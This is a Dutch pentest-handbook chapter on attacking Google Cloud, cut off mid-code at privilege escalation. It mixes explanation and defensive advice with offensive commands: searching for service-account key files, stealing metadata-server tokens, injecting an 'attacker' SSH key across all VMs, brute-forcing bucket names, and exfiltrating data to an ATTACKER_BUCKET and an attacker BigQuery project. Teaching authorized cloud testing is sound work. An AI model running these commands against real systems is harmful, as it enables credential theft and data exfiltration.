GCP Aanvallen
“Google bouwde een zoekmachine, en besloot vervolgens dat het ook een cloudplatform kon zijn. Het resultaat is een ecosysteem dat briljant is in zijn ontwerp, onnavolgbaar in zijn documentatie, en verrassend toegeeflijk als je weet waar je moet kijken.”
5.1 GCP Architectuur
5.1.1 De Wereld Volgens Google
Google Cloud Platform is het derde imperium in de clouddrieeenheid, naast AWS en Azure. Het is kleiner dan zijn rivalen, maar het heeft een eigenaardigheid die het bijzonder interessant maakt voor pentesters: het IAM-systeem is fundamenteel anders opgebouwd dan dat van Azure of AWS. En “anders” in de beveiliging is bijna altijd synoniem voor “verwarrend,” en “verwarrend” is bijna altijd synoniem voor “kwetsbaar.”
Waar Azure een tenant-model hanteert met subscriptions en resource groups, en AWS accounts met VPCs, gebruikt Google een hierarchie van Organizations, Folders en Projects. Het klinkt simpel. Het is het niet.
5.1.2 De Hierarchie
┌──────────────────────────────────────────────────────────────────┐
│ Organization │
│ (example.com) │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Folder: "Productie" │ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────┐ │ │
│ │ │ Project: │ │ Project: │ │ │
│ │ │ "prod-webapp" │ │ "prod-database" │ │ │
│ │ │ │ │ │ │ │
│ │ │ - Compute VMs │ │ - Cloud SQL │ │ │
│ │ │ - Cloud Storage │ │ - BigQuery │ │ │
│ │ │ - Cloud Functions│ │ - Pub/Sub │ │ │
│ │ └─────────────────┘ └─────────────────┘ │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Folder: "Development" │ │
│ │ │ │
│ │ ┌─────────────────┐ │ │
│ │ │ Project: │ │ │
│ │ │ "dev-sandbox" │ │ │
│ │ │ │ │ │
│ │ │ - GKE cluster │ │ │
│ │ │ - Cloud Storage │ │ │
│ │ └─────────────────┘ │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
| Laag | Beschrijving | Analogie |
|---|---|---|
| Organization | De top van de boom. Gebonden aan een Google Workspace of Cloud Identity domain | Het land |
| Folder | Optionele groepering. Kan genest worden (max 10 diep) | De provincies |
| Project | De kerncontainer. Elke resource leeft in een project. Facturatie, API’s en IAM zijn project-scoped | De gemeenten |
| Resource | De werkelijke diensten: VMs, buckets, databases, functions | De gebouwen |
Het cruciale verschil met Azure: in GCP is het project de primaire beveiligingsgrens. IAM-policies worden op projectniveau toegepast. Resources in verschillende projecten zijn standaard geisoleerd. Dit is een fundamenteel beter beveiligingsmodel dan Azure’s resource groups (die geen echte beveiligingsgrens zijn), maar het heeft zijn eigen zwaktes.
# Huidige configuratie bekijken
gcloud config list
# Huidige identity
gcloud auth list
# Beschikbare projecten
gcloud projects list
# Van project wisselen
gcloud config set project PROJECT_ID
# Organization details (als je org-level rechten hebt)
gcloud organizations list
# Folders in de organisatie
gcloud resource-manager folders list --organization=ORG_ID5.1.3 Het IAM-Model
GCP IAM werkt met een model van allow policies en (sinds 2022) deny policies. Een allow policy is een verzameling bindings die een role koppelen aan een of meer members op een bepaalde scope.
Allow Policy = {
bindings: [
{
role: "roles/storage.objectViewer",
members: [
"user:alice@example.com",
"serviceAccount:my-sa@project.iam.gserviceaccount.com"
],
condition: { ... } // optioneel
}
]
}
Deny policies zijn het omgekeerde: ze blokkeren specifieke permissions, ongeacht wat allow policies toestaan. Deny policies winnen altijd van allow policies. Ze zijn nieuwer en minder wijdverbreid, maar organisaties die ze gebruiken, hebben een significant beter beveiligingsniveau.
Overerving: policies erven naar beneden door de hierarchie. Een binding op organizatie-niveau geldt voor alle folders, projecten en resources daaronder. Dit is zowel een kracht (centraal beheer) als een zwakte (een te brede binding op org-niveau geeft toegang tot alles).
# IAM policy van een project bekijken
gcloud projects get-iam-policy PROJECT_ID
# IAM policy van de organisatie
gcloud organizations get-iam-policy ORG_ID
# IAM policy van een specifieke resource (bijv. een bucket)
gsutil iam get gs://BUCKET_NAME
# Deny policies (als je ze mag lezen)
gcloud iam policies list --attachment-point="cloudresourcemanager.googleapis.com/projects/PROJECT_ID" --kind=denypolicies5.1.4 Service Accounts: De Stille Werknemers
Service accounts zijn het meest misbruikte concept in GCP. Ze zijn de identiteit waarmee code draait — VMs, Cloud Functions, GKE pods, CI/CD pipelines. In tegenstelling tot Azure’s Managed Identities, die relatief beperkt zijn in hun functionaliteit, zijn GCP service accounts volwaardige IAM-principals met potentieel onbeperkte rechten.
Elk project heeft standaard: - Een default Compute Engine
service account
(PROJECT_NUMBER-compute@developer.gserviceaccount.com) -
Een default App Engine service account (als App Engine
is ingeschakeld) - Google-managed service accounts
(voor interne GCP-diensten)
Het default Compute Engine service account heeft standaard de
Editor-rol op het project. Lees dat nog een keer:
Editor op het hele project. Dat is bijna volledige
controle. Elke VM die wordt aangemaakt zonder een specifiek service
account te configureren, draait met die rechten.
Dit is alsof je een schoonmaakbedrijf inhuurt en ze automatisch de sleutel geeft van elke kamer in het gebouw, inclusief de directiekamer en de serverruimte. “Omdat het makkelijker is.”
5.2 GCP IAM
5.2.1 Het Drielagige Rollenmodel
GCP kent drie typen rollen:
| Type | Beschrijving | Voorbeeld | Pentest-relevantie |
|---|---|---|---|
| Primitive (basic) | Brede rollen uit het oorspronkelijke GCP | Owner, Editor, Viewer | Te breed, altijd een bevinding |
| Predefined | Door Google gedefinieerde fijnmazige rollen | roles/storage.objectViewer | Standaard, controleer op overprivileging |
| Custom | Door de organisatie zelf gedefinieerd | projects/PROJECT/roles/customRole | Vaak fout geconfigureerd |
De primitive rollen verdienen speciale aandacht:
| Primitive Role | Permissions | Het probleem |
|---|---|---|
| Viewer | Lezen van alle resources | Ziet alles, inclusief gevoelige configuratie |
| Editor | Lezen + schrijven van alle resources | Kan vrijwel alles, behalve IAM wijzigen |
| Owner | Editor + IAM-beheer + facturatie | Volledige controle |
Google raadt expliciet af om primitive rollen te gebruiken. In de
praktijk zijn ze overal. Het is makkelijker om iemand
Editor te geven dan uit te zoeken welke van de 900+
predefined rollen het juiste is. En beheerders kiezen altijd de weg van
de minste weerstand — zelfs als die weg door het mijnenveld loopt.
5.2.2 Bindings en Conditions
Een IAM binding koppelt een rol aan een of meer members. Members kunnen zijn:
user:alice@example.com # Google account
serviceAccount:sa@project.iam.gserviceaccount.com # Service account
group:admins@example.com # Google Group
domain:example.com # Iedereen in het domein
allUsers # Letterlijk iedereen op internet
allAuthenticatedUsers # Iedereen met een Google account
Die laatste twee — allUsers en
allAuthenticatedUsers — zijn de bron van een onevenredig
groot aantal beveiligingsincidenten. Een binding met
allUsers maakt een resource publiek toegankelijk voor het
hele internet. Geen authenticatie nodig. Geen uitnodiging nodig. Gewoon
de URL kennen.
# Zoek naar bindings met allUsers of allAuthenticatedUsers in een project
gcloud projects get-iam-policy PROJECT_ID --format=json | \
python3 -c "
import sys,json
policy = json.load(sys.stdin)
for binding in policy.get('bindings', []):
for member in binding.get('members', []):
if member in ('allUsers', 'allAuthenticatedUsers'):
print(f\"[!] {binding['role']} -> {member}\")
"
# Controleer specifieke resources
# Storage buckets
gsutil iam get gs://BUCKET_NAME 2>/dev/null | grep -E "allUsers|allAuthenticatedUsers"
# Cloud Functions
gcloud functions get-iam-policy FUNCTION_NAME --region=REGION 2>/dev/null | \
grep -E "allUsers|allAuthenticatedUsers"IAM Conditions voegen context toe aan bindings: “deze rol geldt alleen als het request vanuit dit IP-bereik komt” of “alleen voor resources met dit label.” Conditions zijn krachtig maar complex, en in de praktijk zelden gebruikt. De meeste organisaties die we testen hebben nul conditions in hun policies.
5.2.3 Effectieve Permissions Bepalen
Door overerving kan een principal permissions hebben die niet direct zichtbaar zijn in het project-policy. Je moet de hele hierarchie bekijken:
# Welke rollen heb ik op dit project?
gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--filter="bindings.members:user:$(gcloud config get-value account)" \
--format="table(bindings.role)"
# Welke permissions geeft een specifieke rol?
gcloud iam roles describe roles/storage.admin --format="json(includedPermissions)"
# Test of ik een specifieke permission heb
gcloud asset search-all-iam-policies \
--scope="projects/PROJECT_ID" \
--query="policy:$(gcloud config get-value account)" \
--format="table(resource,policy.bindings.role)"5.3 Service Account Exploitation
5.3.1 De Sleutels van het Koninkrijk
Service accounts zijn de favoriete doelwitten in GCP. Ze hebben vaak brede rechten, hun credentials zijn programmatisch bruikbaar, en er is zelden monitoring op hun gebruik.
5.3.2 Key File Theft
Service account keys zijn JSON-bestanden die volledige authenticatie mogelijk maken. Ze worden aangemaakt voor CI/CD pipelines, scripts en third-party integraties, en vervolgens opgeslagen op plaatsen waar ze niet horen te zijn.
# Service accounts in een project
gcloud iam service-accounts list --project=PROJECT_ID
# Keys van een service account (toont alleen metadata, niet de private key)
gcloud iam service-accounts keys list \
--iam-account=SA@PROJECT.iam.gserviceaccount.com
# Zoek naar key files op het bestandssysteem
find / -name "*.json" -exec grep -l "private_key" {} \; 2>/dev/null
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \; 2>/dev/null
# Veelvoorkomende locaties
ls -la ~/.config/gcloud/
ls -la /etc/google/
ls -la /var/run/secrets/
env | grep -i "GOOGLE_APPLICATION_CREDENTIALS"
# Als je een key file hebt: authenticeren
gcloud auth activate-service-account --key-file=stolen-key.json
# Of via environment variable
export GOOGLE_APPLICATION_CREDENTIALS="/pad/naar/stolen-key.json"
gcloud auth list # VerifieerService account key files worden aangetroffen op de merkwaardigste plaatsen: in git repositories, in Docker images, in CI/CD-configuratie, in Slack-kanalen, op developer-laptops, in gedeelde Google Drives. Het is alsof je de sleutel van de kluis op het prikbord in de kantine hangt en er “NIET KOPIËREN” op schrijft.
5.3.3 Service Account Impersonation
In GCP kan een principal een service account impersonaten —
handelen namens dat service account — als hij de
iam.serviceAccountTokenCreator-rol heeft. Dit is een
buitengewoon krachtige capability die vaak over het hoofd wordt
gezien.
# Controleer of je een service account kunt impersonaten
gcloud iam service-accounts get-iam-policy SA@PROJECT.iam.gserviceaccount.com \
--format="json(bindings)"
# Impersonatie: een access token genereren namens het service account
gcloud auth print-access-token \
--impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com
# Gcloud commando's uitvoeren als het service account
gcloud compute instances list \
--impersonate-service-account=SA@PROJECT.iam.gserviceaccount.com
# Een reeks impersonaties (chaining):
# User -> SA-A -> SA-B (als SA-A tokenCreator heeft op SA-B)
gcloud auth print-access-token \
--impersonate-service-account=SA_A@PROJECT.iam.gserviceaccount.com,SA_B@PROJECT.iam.gserviceaccount.comImpersonatie-chains zijn bijzonder gevaarlijk. Als Service Account A
tokenCreator heeft op Service Account B, en B heeft
Owner op het project, dan heb je via A effectief
Owner — zonder dat A direct die rol heeft. Het is een
indirect privilege escalation pad dat niet zichtbaar is in de IAM policy
van het project.
5.3.4 Default Service Accounts
Default service accounts zijn het laaghangende fruit van GCP-pentesten. Ze worden automatisch aangemaakt, automatisch gebruikt, en zelden geaudit.
# Default Compute Engine service account
# Format: PROJECT_NUMBER-compute@developer.gserviceaccount.com
# Standaardrollen: Editor (!)
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
--format="json(serviceAccounts)"
# Welke scopes heeft de VM?
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
--format="json(serviceAccounts[0].scopes)"De interactie tussen IAM roles en access scopes is een bron van verwarring. Access scopes zijn een legacy-mechanisme dat de OAuth scopes beperkt waarvoor een VM tokens kan aanvragen. IAM roles bepalen wat het service account mag doen. De effectieve permissions zijn de intersectie van beide.
In de praktijk: als een VM de scope
https://www.googleapis.com/auth/cloud-platform heeft (wat
steeds vaker de standaard is), worden scopes irrelevant en gelden alleen
de IAM roles.
5.3.5 Workload Identity Federation
Workload Identity Federation is Google’s antwoord op key files. In plaats van een statische key, federeert een extern systeem (AWS, Azure, GitHub Actions, etc.) zijn identiteit naar GCP. Geen key file, geen theft risk.
# Workload identity pools bekijken
gcloud iam workload-identity-pools list --location=global
# Pool details
gcloud iam workload-identity-pools describe POOL_ID --location=global
# Providers in de pool
gcloud iam workload-identity-pools providers list \
--workload-identity-pool=POOL_ID --location=globalIB Tip: Als je workload identity federation vindt in een omgeving, controleer de attribute conditions. Zwakke conditions (of geen conditions) maken het mogelijk dat elke workload vanuit het externe systeem een token kan verkrijgen.
5.4 Compute Engine
5.4.1 De Virtuele Machines
Compute Engine is GCP’s IaaS-dienst: virtuele machines in de cloud. Voor pentesters zijn VMs interessant om drie redenen: ze draaien code (command execution), ze hebben service accounts (credential theft), en ze hebben metadata (informatieverzameling).
5.4.2 De Metadata Server
Net als Azure’s IMDS heeft GCP een metadata server op
169.254.169.254. Dit endpoint is bereikbaar vanuit elke VM
en bevat waardevolle informatie:
# Volledige metadata dump
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/?recursive=true" | \
python3 -m json.tool
# Service account en scopes
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes"
# Access token ophalen (de hoofdprijs)
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | \
python3 -m json.tool
# Project-wide metadata (SSH keys, startup scripts)
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/project/attributes/?recursive=true"
# Instance-specifieke metadata
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/attributes/?recursive=true"
# Netwerk interfaces en IP-adressen
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/network-interfaces/?recursive=true" | \
python3 -m json.toolDe Metadata-Flavor: Google header is verplicht. Net als
Azure’s Metadata: true voorkomt dit eenvoudige
SSRF-aanvallen vanuit browsers. Maar vanuit een shell of een SSRF die
custom headers toestaat, is het geen enkele belemmering.
5.4.3 Startup Scripts
Startup scripts worden uitgevoerd wanneer een VM opstart. Ze staan opgeslagen in de instance metadata of in Cloud Storage, en ze bevatten vaak credentials, configuratie-informatie en soms wachtwoorden in cleartext.
# Startup script van de huidige VM
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"
# Startup scripts van andere VMs (vereist compute.instances.get)
gcloud compute instances describe INSTANCE_NAME --zone=ZONE \
--format="value(metadata.items[key='startup-script'].value)"
# Zoek naar startup scripts met credentials
for instance in $(gcloud compute instances list --format="csv[no-heading](name,zone)"); do
NAME=$(echo $instance | cut -d, -f1)
ZONE=$(echo $instance | cut -d, -f2)
echo "=== $NAME ($ZONE) ==="
gcloud compute instances describe $NAME --zone=$ZONE \
--format="value(metadata.items[key='startup-script'].value)" 2>/dev/null | \
grep -iE "password|secret|key|token|credential" || echo "(niets gevonden)"
done5.4.4 Serial Console
De serial console geeft directe toegang tot de console-output van een VM. Als serial port logging is ingeschakeld, kun je historische console-output lezen — inclusief boot-berichten, loginprompts en soms wachtwoorden die tijdens het opstarten worden gelogd.
# Serial console output lezen (vereist compute.instances.getSerialPortOutput)
gcloud compute instances get-serial-port-output INSTANCE_NAME \
--zone=ZONE --port=15.4.5 SSH Key Injection
GCP beheert SSH-toegang via metadata. SSH public keys kunnen worden
toegevoegd op project-niveau (alle VMs) of instance-niveau (specifieke
VM). Als je compute.instances.setMetadata of
compute.projects.setCommonInstanceMetadata hebt, kun je je
eigen SSH-key injecteren.
# Project-wide SSH key toevoegen (alle VMs!)
gcloud compute project-info add-metadata \
--metadata-from-file ssh-keys=<(
gcloud compute project-info describe --format="value(commonInstanceMetadata.items.filter(key:ssh-keys).firstof(value))"
echo "attacker:$(cat ~/.ssh/id_rsa.pub)"
)
# Instance-specifieke SSH key toevoegen
gcloud compute instances add-metadata INSTANCE_NAME \
--zone=ZONE \
--metadata-from-file ssh-keys=<(
echo "attacker:$(cat ~/.ssh/id_rsa.pub)"
)
# Vervolgens: SSH naar de VM
ssh attacker@INSTANCE_IPLet op: Project-wide SSH key-injectie is een ingrijpende actie die alle VMs in het project beinvloedt. Gebruik dit alleen na expliciete toestemming en documenteer de wijziging zodat hij na de test kan worden teruggedraaid.
5.4.6 Access Scopes versus IAM
Een veelgemaakte fout is vertrouwen op access scopes als beveiligingsmechanisme:
# VM met beperkte scopes maar breed IAM
# Scopes: https://www.googleapis.com/auth/compute.readonly
# IAM: Editor op het project
# Het token dat de metadata server geeft, heeft de beperkte scope
# MAAR: als je een nieuw token aanvraagt via de service account key,
# zijn de scopes irrelevant
# Check: heeft het service account key files?
gcloud iam service-accounts keys list \
--iam-account=$(curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email")Het advies is simpel: vertrouw niet op scopes. Gebruik IAM met het principle of least privilege. Scopes zijn een extra laag, geen vervanging.
5.5 Cloud Functions
5.5.1 Serverless, Niet Securityless
Cloud Functions zijn Google’s serverless compute-dienst: je schrijft een functie, Google regelt de infrastructuur. Het is elegant, het is schaalbaar, en het is een potentieel aanvalsvector als de functie kwetsbaar is of de configuratie zwak.
5.5.2 Function Invocation
# Alle Cloud Functions in een project
gcloud functions list
# Details van een functie
gcloud functions describe FUNCTION_NAME --region=REGION
# Controleer of de functie publiek aanroepbaar is
gcloud functions get-iam-policy FUNCTION_NAME --region=REGION | \
grep -E "allUsers|allAuthenticatedUsers"
# Publieke functie aanroepen
curl -s "https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME"
# Functie aanroepen met authenticatie
curl -s -H "Authorization: Bearer $(gcloud auth print-identity-token)" \
"https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME"5.5.3 Environment Variables en Secrets
Cloud Functions gebruiken environment variables voor configuratie. Die variables bevatten regelmatig database-credentials, API-keys en andere gevoelige informatie.
# Environment variables van een functie ophalen (als je describe rechten hebt)
gcloud functions describe FUNCTION_NAME --region=REGION \
--format="json(environmentVariables,buildEnvironmentVariables)"
# Alle functies met hun environment variables
for func in $(gcloud functions list --format="csv[no-heading](name,region)" 2>/dev/null); do
NAME=$(echo $func | cut -d, -f1)
REGION=$(echo $func | cut -d, -f2)
echo "=== $NAME ($REGION) ==="
gcloud functions describe $NAME --region=$REGION \
--format="json(environmentVariables)" 2>/dev/null
doneGoogle biedt Secret Manager als alternatief voor environment variables, maar de migratie is traag. De meeste organisaties die we testen hebben nog steeds credentials in environment variables. Het is alsof je weet dat je je voordeursleutel niet onder de mat moet leggen, maar het toch doet omdat het een kwartier kost om een sleutelkastje te installeren.
5.5.4 Source Code Access
Als je cloudfunctions.functions.get permission hebt, kun
je de broncode van een Cloud Function downloaden:
# Source code URL ophalen
gcloud functions describe FUNCTION_NAME --region=REGION \
--format="value(sourceArchiveUrl)"
# Of: via de build informatie
gcloud functions describe FUNCTION_NAME --region=REGION \
--format="json(buildConfig.source)"
# Source code downloaden (als het een Cloud Storage URL is)
gsutil cp gs://BUCKET/source.zip ./source.zip
unzip source.zip -d ./function_source/Broncode-analyse onthult vaak hardcoded credentials, onveilige API-aanroepen, en logica-fouten die vanuit een black-box test niet zichtbaar zouden zijn.
5.5.5 Event Injection
Cloud Functions kunnen worden getriggerd door events: HTTP-requests, Pub/Sub-berichten, Cloud Storage-wijzigingen, Firestore-updates. Als je berichten kunt publiceren op een Pub/Sub topic dat een functie triggert, kun je willekeurige input naar die functie sturen.
# Pub/Sub topics in het project
gcloud pubsub topics list
# Controleer of je kunt publiceren
gcloud pubsub topics publish TOPIC_NAME \
--message='{"test": "injection"}'
# Als de functie de input niet valideert, kun je mogelijk:
# - Command injection via shell-aanroepen
# - Path traversal via bestandsverwerking
# - SSRF via URL-parameters5.6 Cloud Storage
5.6.1 De Digitale Opslagplaats
Cloud Storage is GCP’s object storage-dienst, equivalent aan AWS S3 en Azure Blob Storage. Het is waar de data leeft: backups, logs, uploads, exports, machine learning-datasets, website-assets.
5.6.2 Bucket Enumeratie
# Alle buckets in het project
gsutil ls
# Inhoud van een bucket
gsutil ls gs://BUCKET_NAME/
gsutil ls -la gs://BUCKET_NAME/ # Met details (grootte, datum, storage class)
# Recursief alle bestanden
gsutil ls -r gs://BUCKET_NAME/
# Publieke buckets checken (geen authenticatie)
curl -s "https://storage.googleapis.com/TARGET_BUCKET/"
curl -s "https://storage.googleapis.com/storage/v1/b/TARGET_BUCKET/o"
# Brute-force bucketnamen
for name in backup backups data files uploads logs exports database prod staging; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"https://storage.googleapis.com/storage/v1/b/${COMPANY}-${name}")
[ "$STATUS" -ne 404 ] && echo "[+] Bucket exists: ${COMPANY}-${name} (HTTP $STATUS)"
done5.6.3 ACL versus IAM
Cloud Storage ondersteunt twee autorisatiemechanismen:
| Mechanisme | Beschrijving | Aanbeveling |
|---|---|---|
| ACLs | Per-object en per-bucket access control lists | Legacy, vermijd |
| IAM | Project/bucket-level policies via standaard IAM | Aanbevolen |
| Uniform bucket-level access | Alleen IAM, ACLs uitgeschakeld | Best practice |
Het probleem: als “Uniform bucket-level access” niet is ingeschakeld, kunnen individuele objecten hun eigen ACLs hebben die afwijken van het bucket-beleid. Een bucket kan gerestrict zijn, maar een individueel object kan publiek leesbaar zijn.
# Check bucket access control type
gsutil uniformbucketlevelaccess get gs://BUCKET_NAME
# ACLs van een bucket
gsutil acl get gs://BUCKET_NAME
# ACLs van een specifiek object
gsutil acl get gs://BUCKET_NAME/bestand.txt
# IAM policy van een bucket
gsutil iam get gs://BUCKET_NAME5.6.4 Signed URLs
Signed URLs geven tijdelijke toegang tot private objecten. Net als Azure SAS tokens worden ze vaak te breed en te lang geldig gemaakt:
# Signed URL genereren (als je sigBlob rechten hebt)
gsutil signurl -d 1h -m GET sa-key.json gs://BUCKET/geheim-bestand.txt
# Een signed URL gebruiken (geen authenticatie nodig)
curl -s "https://storage.googleapis.com/BUCKET/geheim-bestand.txt?X-Goog-Signature=..."5.6.5 Data Exfiltratie via Storage
Als je schrijfrechten hebt op een bucket en leesrechten op gevoelige data, kun je de data kopieren naar een bucket die je controleert:
# Kopieer data naar een eigen bucket
gsutil cp gs://TARGET_BUCKET/gevoelig-bestand.sql gs://ATTACKER_BUCKET/
# Of: download lokaal
gsutil cp gs://TARGET_BUCKET/gevoelig-bestand.sql ./
# Bulk download
gsutil -m cp -r gs://TARGET_BUCKET/ ./exfil/Let op: Cloud Storage access wordt gelogd via Data Access audit logs (als deze zijn ingeschakeld). In veel organisaties zijn Data Access logs uitgeschakeld vanwege kosten. Controleer dit in je enumeratiefase:
gcloud logging sinks listtoont je waar logs naartoe gaan.
5.7 GKE (Google Kubernetes Engine)
5.7.1 Containers in de Cloud
GKE is Google’s managed Kubernetes-dienst. Kubernetes is complex genoeg op zichzelf; GKE voegt daar een laag GCP IAM-integratie aan toe. Het resultaat is een systeem waar de interactie tussen Kubernetes RBAC en GCP IAM een bron is van misconfiguraties die aanvallers graag exploiteren.
5.7.2 GKE Enumeratie
# GKE clusters in het project
gcloud container clusters list
# Cluster details
gcloud container clusters describe CLUSTER_NAME --zone=ZONE
# Credentials ophalen voor kubectl
gcloud container clusters get-credentials CLUSTER_NAME --zone=ZONE
# Kubernetes versie en configuratie
kubectl cluster-info
kubectl version
# Namespaces
kubectl get namespaces
# Pods in alle namespaces
kubectl get pods --all-namespaces
# Services
kubectl get services --all-namespaces
# Secrets (als je ze mag lezen)
kubectl get secrets --all-namespaces5.7.3 Kubernetes RBAC
Kubernetes heeft zijn eigen RBAC-systeem, gescheiden van GCP IAM:
# Eigen rechten controleren
kubectl auth can-i --list
# Specifieke permission checken
kubectl auth can-i create pods
kubectl auth can-i get secrets
# ClusterRoles en ClusterRoleBindings
kubectl get clusterroles
kubectl get clusterrolebindings
# Wie heeft cluster-admin?
kubectl get clusterrolebindings -o json | \
python3 -c "
import sys,json
data = json.load(sys.stdin)
for item in data.get('items',[]):
if item.get('roleRef',{}).get('name') == 'cluster-admin':
subjects = item.get('subjects',[])
for s in subjects:
print(f\"{s.get('kind')}: {s.get('name')}\")
"5.7.4 Pod Security en Escalatie
Pods met misconfiguraties zijn de primaire escalatievector in GKE:
# Privileged pods vinden
kubectl get pods --all-namespaces -o json | \
python3 -c "
import sys,json
pods = json.load(sys.stdin)
for pod in pods.get('items',[]):
ns = pod['metadata']['namespace']
name = pod['metadata']['name']
for c in pod['spec'].get('containers',[]):
sc = c.get('securityContext',{})
if sc.get('privileged'):
print(f'[!] Privileged: {ns}/{name}/{c[\"name\"]}')
if sc.get('runAsUser') == 0:
print(f'[!] Root: {ns}/{name}/{c[\"name\"]}')
"
# Pods met hostPath mounts (toegang tot node filesystem)
kubectl get pods --all-namespaces -o json | \
python3 -c "
import sys,json
pods = json.load(sys.stdin)
for pod in pods.get('items',[]):
ns = pod['metadata']['namespace']
name = pod['metadata']['name']
for v in pod['spec'].get('volumes',[]):
hp = v.get('hostPath')
if hp:
print(f'[!] hostPath {hp[\"path\"]}: {ns}/{name}')
"5.7.5 Node Service Account
Elke GKE-node is een Compute Engine VM met een service account. Als je vanuit een pod kunt ontsnappen naar de node (via een privileged container, hostPath mount, of kernel exploit), heb je toegang tot het service account van de node.
# Vanuit een pod: controleer of je de metadata server kunt bereiken
curl -s -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | \
python3 -m json.tool
# Als Workload Identity is geconfigureerd, krijg je het pod's service account
# Als Workload Identity NIET is geconfigureerd, krijg je het node's service account
# (dat vaak veel bredere rechten heeft)5.7.6 Metadata Concealment
GKE biedt “Metadata Concealment” als beveiligingsmaatregel: het blokkeert toegang tot bepaalde metadata-endpoints vanuit pods. Maar het is optioneel en niet standaard ingeschakeld op oudere clusters.
# Controleer of metadata concealment actief is
gcloud container clusters describe CLUSTER_NAME --zone=ZONE \
--format="json(nodeConfig.workloadMetadataConfig)"
# Als workloadMetadataConfig.mode = "GKE_METADATA" → Workload Identity actief
# Als niet geconfigureerd → metadata server volledig bereikbaar vanuit podsDe beste verdediging is Workload Identity: elke Kubernetes service account wordt gekoppeld aan een GCP service account met minimale rechten. Geen node-level credentials meer beschikbaar vanuit pods.
5.8 BigQuery en Data Services
5.8.1 Het Datawarehouse
BigQuery is Google’s serverless data warehouse. Het bevat vaak de kroonjuwelen van een organisatie: klantdata, financiele gegevens, analytische datasets, machine learning-trainingsdata. Als een aanvaller toegang krijgt tot BigQuery, is de kans groot dat hij bij de meest gevoelige data van de organisatie is.
5.8.2 BigQuery Enumeratie
# Datasets in het huidige project
bq ls
# Datasets in een ander project (als je cross-project access hebt)
bq ls --project_id=OTHER_PROJECT
# Tabellen in een dataset
bq ls DATASET_NAME
# Tabelschema (welke kolommen, welke types)
bq show --schema DATASET_NAME.TABLE_NAME
# Preview van data (eerste 10 rijen)
bq head -n 10 DATASET_NAME.TABLE_NAME
# Query uitvoeren
bq query --use_legacy_sql=false \
'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 100'5.8.3 Cross-Project Access
BigQuery ondersteunt cross-project queries: als je leesrechten hebt op een dataset in een ander project, kun je er direct queries op uitvoeren. Dit is een veelgebruikt patroon voor gedeelde datasets, maar het creëert ook aanvalspaden die niet zichtbaar zijn in het project-policy.
# IAM policy van een dataset
bq show --format=prettyjson DATASET_NAME | \
python3 -c "
import sys,json
data = json.load(sys.stdin)
for entry in data.get('access',[]):
role = entry.get('role','')
entity = entry.get('userByEmail','') or entry.get('groupByEmail','') or \
entry.get('specialGroup','') or entry.get('domain','')
print(f'{role}: {entity}')
"5.8.4 Data Exfiltratie
# Export naar Cloud Storage (als je schrijfrechten hebt op een bucket)
bq extract --destination_format=CSV \
PROJECT:DATASET.TABLE \
gs://ATTACKER_BUCKET/exfil/table_export_*.csv
# Of: query resultaten opslaan
bq query --use_legacy_sql=false \
--destination_table=ATTACKER_PROJECT:ATTACKER_DATASET.stolen_data \
'SELECT * FROM `VICTIM_PROJECT.DATASET.TABLE`'5.8.5 Overige Data Services
GCP heeft een ecosysteem aan dataservices, elk met hun eigen access control:
| Service | Data type | Pentest-relevantie |
|---|---|---|
| Cloud SQL | Relationele databases (MySQL, PostgreSQL, SQL Server) | Connection strings, publieke IP’s |
| Cloud Spanner | Gedistribueerde relationele database | Zelden publiek, maar brede IAM-rechten |
| Firestore | NoSQL document database | Vaak gebruikt door mobile apps, soms publiek |
| Bigtable | Wide-column NoSQL | Grote datasets, analytics |
| Cloud Datastore | Legacy NoSQL | Vervangen door Firestore, nog in gebruik |
| Memorystore | In-memory (Redis/Memcached) | Cache poisoning, session hijacking |
# Cloud SQL instances
gcloud sql instances list
# Cloud SQL details (let op publieke IP!)
gcloud sql instances describe INSTANCE_NAME \
--format="json(ipAddresses,settings.ipConfiguration)"
# Firestore data lezen (als je rechten hebt)
gcloud firestore documents list --collection=COLLECTION_NAME5.9 Privilege Escalation in GCP
5.9.1 De Escalatieladder
Privilege escalation in GCP volgt andere patronen dan in on-premises AD. Er zijn geen Group Policy-misconfigurations of Kerberos delegation-abuses. In plaats daarvan draait het om IAM-permissions die meer macht geven dan de beheerder bedoelde.
Rhino Security Labs publiceerde een uitgebreide lijst van GCP privilege escalation-methoden. De meest impactvolle:
5.9.2 setIamPolicy
Als je setIamPolicy permission hebt op een resource
(project, folder, org), kun je jezelf elke rol geven:
# Controleer of je setIamPolicy hebt
gcloud projects get-iam-policy PROJECT_ID --format=json | \
python3 -c "
import sys,json
# Dit checkt alleen de huidige bindings, niet de effectieve permissions
# Gebruik 'gcloud asset analyze-iam-policy' voor complete analyse
policy = json.load(sys.stdin)
for b in policy.get('bindings',[]):
